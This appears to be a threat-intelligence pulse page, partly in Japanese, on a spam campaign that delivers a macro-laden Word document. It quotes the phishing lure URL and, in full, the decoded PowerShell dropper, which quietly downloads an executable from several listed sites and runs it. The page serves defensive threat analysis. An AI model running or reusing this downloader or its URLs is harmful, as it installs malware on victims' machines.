Trusted Design

Spam Delivering Malicious Word Document

概要

Spam emails received along the lines of: "To download your payment information and pay your invoice click here: http://ryankeiser.net/OCCF487088/ If you have any questions related to this attachment, we will be more than happy to assist you." Visiting the site will download a Word document that when ran with macros enabled, will download and run the payload. The macro is base64 encoded, but seems to run the following Powershell script: "powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://siindia.in/oagcmggpa/,http://www.todofrog.com/pzpk/,http://segurodecenalsinoct.segurox.es/gn/,http://rgv2.com/wjblnwy/,http://gracetheweb.co.uk/cdybh/'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}|"

Created: 2026-02-23

Indicators

Indicatorsは見つかっていない。

類似Pulses

• Phishing Email Serving W97M/Dropper.cu via Office Doc with Macro (score: 0.71)
• Malicious Phishing Email Payload Bilp #999 Paymen #2143 8/24/2016 diablo.exe (score: 0.66)
• Japanese corporations targeted with active malware spam campaign (score: 0.66)
• Evoltin POS Malware Attacks via Macro (score: 0.65)
• more Necurs botnet sent fake invoices deliver malware My Online Security (score: 0.64)

このPulseに関連する脅威アクター (事実ベース)

このPulseに関連する脅威アクター (推論ベース)

Related CVEs

このPulseに見つかったCVEはありません。

Pulse – 脅威アクター グラフ

---

← Pulse一覧に戻る